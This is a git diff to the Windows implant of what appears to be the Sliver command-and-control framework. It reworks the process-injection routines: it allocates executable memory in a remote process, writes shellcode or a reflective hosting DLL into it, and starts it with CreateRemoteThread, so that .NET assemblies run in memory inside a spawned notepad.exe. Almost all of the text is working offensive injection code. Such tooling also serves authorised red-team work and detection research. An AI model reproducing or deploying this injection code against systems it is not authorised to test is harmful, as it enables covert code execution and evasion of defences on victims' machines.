diff --git a/client/command/execute_assembly.go b/client/command/execute_assembly.go index c764f16537..2e8e9c63b8 100644 --- a/client/command/execute_assembly.go +++ b/client/command/execute_assembly.go @@ -38,7 +38,7 @@ func executeAssembly(ctx *grumble.Context, rpc RPCServer) { go spin.Until("Executing assembly ...", ctrl) data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{ SliverID: ActiveSliver.Sliver.ID, - Timeout: int32(30), + Timeout: int32(5), Arguments: assemblyArgs, Assembly: assemblyBytes, HostingDll: []byte{}, diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index fb9387bce3..4f9e8f1ea4 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -74,7 +74,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) { // {{end}} return } - output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments, execReq.Timeout) + output, err := taskrunner.ExecuteAssembly(execReq.HostingDll, execReq.Assembly, execReq.Arguments, execReq.Timeout) strErr := "" if err != nil { strErr = err.Error() diff --git a/sliver/taskrunner/task_windows.go b/sliver/taskrunner/task_windows.go index 7932b7fc74..2ba5f3017b 100644 --- a/sliver/taskrunner/task_windows.go +++ b/sliver/taskrunner/task_windows.go @@ -6,8 +6,8 @@ import ( "io" "os" "os/exec" + "runtime" "syscall" - "time" "unsafe" // {{if .Debug}} @@ -24,17 +24,63 @@ const ( ) var ( - kernel32 = syscall.MustLoadDLL("kernel32.dll") - virtualAlloc = kernel32.MustFindProc("VirtualAlloc") - virtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") - writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory") - createRemoteThread = kernel32.MustFindProc("CreateRemoteThread") - createThread = kernel32.MustFindProc("CreateThread") + kernel32 = syscall.MustLoadDLL("kernel32.dll") + procVirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") + procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory") + procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread") + procCreateThread = kernel32.MustFindProc("CreateThread") ) +func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) { + r1, _, e1 := procVirtualAllocEx.Call( + uintptr(process), + addr, + uintptr(size), + uintptr(allocType), + uintptr(protect)) + + if int(r1) == 0 { + return r1, os.NewSyscallError("VirtualAllocEx", e1) + } + return r1, nil +} + +func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) { + var nLength uint32 + r1, _, e1 := procWriteProcessMemory.Call( + uintptr(process), + addr, + uintptr(buf), + uintptr(size), + uintptr(unsafe.Pointer(&nLength))) + + if int(r1) == 0 { + return nLength, os.NewSyscallError("WriteProcessMemory", e1) + } + return nLength, nil +} + +func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) { + var threadID uint32 + r1, _, e1 := procCreateRemoteThread.Call( + uintptr(process), + uintptr(unsafe.Pointer(sa)), + uintptr(stackSize), + startAddress, + parameter, + uintptr(creationFlags), + uintptr(unsafe.Pointer(&threadID))) + runtime.KeepAlive(sa) + if int(r1) == 0 { + return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1) + } + return syscall.Handle(r1), threadID, nil +} + func sysAlloc(size int) (uintptr, error) { n := uintptr(size) - addr, _, err := virtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + addr, _, err := procVirtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if addr == 0 { return 0, err } @@ -60,7 +106,7 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("creating native data buffer ...") // {{end}} - dataAddr, _, err := virtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + dataAddr, _, err := procVirtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if dataAddr == 0 { return err } @@ -73,11 +119,11 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("allocating remote process memory ...") // {{end}} - remoteAddr, _, err := virtualAllocEx.Call(uintptr(processHandle), 0, ptr(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + remoteAddr, err := virtualAllocEx(processHandle, 0, uint32(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) // {{if .Debug}} log.Printf("virtualallocex returned: remoteAddr = %v, err = %v", remoteAddr, err) // {{end}} - if remoteAddr == 0 { + if err != nil { // {{if .Debug}} log.Println("[!] failed to allocate remote process memory") // {{end}} @@ -85,11 +131,11 @@ func injectTask(processHandle syscall.Handle, data []byte) error { } // Write the shellcode into the remotely allocated buffer - writeMemorySuccess, _, err := writeProcessMemory.Call(uintptr(processHandle), uintptr(remoteAddr), uintptr(dataAddr), ptr(dataSize), 0) + writeMemorySuccess, err := writeProcessMemory(processHandle, remoteAddr, unsafe.Pointer(dataAddr), uint32(dataSize)) // {{if .Debug}} log.Printf("writeprocessmemory returned: writeMemorySuccess = %v, err = %v", writeMemorySuccess, err) // {{end}} - if writeMemorySuccess == 0 { + if err != nil { // {{if .Debug}} log.Printf("[!] failed to write data into remote process") // {{end}} @@ -100,11 +146,12 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("successfully injected data, starting remote thread ....") // {{end}} - createThreadSuccess, _, err := createRemoteThread.Call(uintptr(processHandle), 0, 0, uintptr(remoteAddr), 0, 0, 0) + attr := new(syscall.SecurityAttributes) + createThreadSuccess, _, err := createRemoteThread(processHandle, attr, 0, uintptr(remoteAddr), 0, 0) // {{if .Debug}} log.Printf("createremotethread returned: createThreadSuccess = %v, err = %v", createThreadSuccess, err) // {{end}} - if createThreadSuccess == 0 { + if err != nil { // {{if .Debug}} log.Printf("[!] failed to create remote thread") // {{end}} @@ -136,11 +183,15 @@ func LocalTask(data []byte) error { // {{if .Debug}} log.Printf("creating local thread with start address: 0x%08x", addr) // {{end}} - _, _, err := createThread.Call(0, 0, addr, 0, 0, 0) + _, _, err := procCreateThread.Call(0, 0, addr, 0, 0, 0) return err } func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) (string, error) { + // {{if .Debug}} + log.Println("[*] Assembly size:", len(assembly)) + log.Println("[*] Hosting dll size:", len(hostingDll)) + // {{end}} if len(assembly) > MAX_ASSEMBLY_LENGTH { return "", fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH) } @@ -153,39 +204,35 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) stderrIn, _ := cmd.StderrPipe() var errStdout, errStderr error - stdout := io.MultiWriter(os.Stdout, &stdoutBuf) - stderr := io.MultiWriter(os.Stderr, &stderrBuf) - go cmd.Run() - time.Sleep(time.Second * 3) + cmd.Start() + defer cmd.Process.Kill() pid := cmd.Process.Pid - log.Println("[*] Process started, pid =", cmd.Process.Pid) + // {{if .Debug}} + log.Println("[*] notepad.exe started, pid =", pid) + // {{end}} // OpenProcess with PROC_ACCESS_ALL handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid)) if err != nil { return "", err } - log.Println("[*] Allocating space for reflective DLL") // VirtualAllocEx to allocate a new memory segment into the target process - dllSize := len(hostingDll) - hostingDllAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(dllSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) - if hostingDllAddr == 0 { - log.Println("VirtualAllocEx failed") + hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) + if err != nil { return "", err } - log.Println("[*] Calling WriteProcessMemory...") // WriteProcessMemory to write the reflective loader into the process - success, _, err := writeProcessMemory.Call(uintptr(handle), uintptr(hostingDllAddr), uintptr(unsafe.Pointer(&hostingDll[0])), ptr(dllSize)) - if success == 0 { - log.Println("WriteProcessMemory failed") + _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll))) + if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr) + // {{end}} // Total size to allocate = assembly size + 1024 bytes for the args - totalSize := int(MAX_ASSEMBLY_LENGTH) + totalSize := uint32(MAX_ASSEMBLY_LENGTH) // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args - assemblyAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(totalSize), MEM_COMMIT, syscall.PAGE_READWRITE) - if assemblyAddr == 0 { - log.Println("VirtualAllocEx failed") + assemblyAddr, err := virtualAllocEx(handle, 0, totalSize, MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE) + if err != nil { return "", err } // Padd arguments with 0x00 -- there must be a cleaner way to do that @@ -194,33 +241,33 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) final := append(paramsBytes, padding...) // Final payload: params + assembly final = append(final, assembly...) - finalSize := len(final) // WriteProcessMemory to write the .NET assembly + args - success, _, err = writeProcessMemory.Call(uintptr(handle), uintptr(assemblyAddr), uintptr(unsafe.Pointer(&final[0])), ptr(finalSize)) - if success == 0 { + _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&final[0]), uint32(len(final))) + if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr) + // {{end}} // CreateRemoteThread(DLL addr + offset, assembly addr) - success, _, err = createRemoteThread.Call(uintptr(handle), 0, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) - if success == 0 { + attr := new(syscall.SecurityAttributes) + _, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) + if err != nil { return "", err } go func() { - _, errStdout = io.Copy(stdout, stdoutIn) + _, errStdout = io.Copy(&stdoutBuf, stdoutIn) }() - _, errStderr = io.Copy(stderr, stderrIn) + _, errStderr = io.Copy(&stderrBuf, stderrIn) if errStdout != nil || errStderr != nil { log.Fatal("failed to capture stdout or stderr\n") } - log.Printf("Sleeping for %d seconds\n", timeout-20) - time.Sleep(time.Second * time.Duration(timeout-20)) - outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) - if len(errStr) > 1 { - return "", fmt.Errorf(errStr) - } - log.Println("EXECUTE ASSEMBLY FINISHED", outStr) + outStr, _ := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) + // {{if .Debug}} + log.Println("[*] Output:") + log.Println(outStr) + // {{end}} return outStr, nil }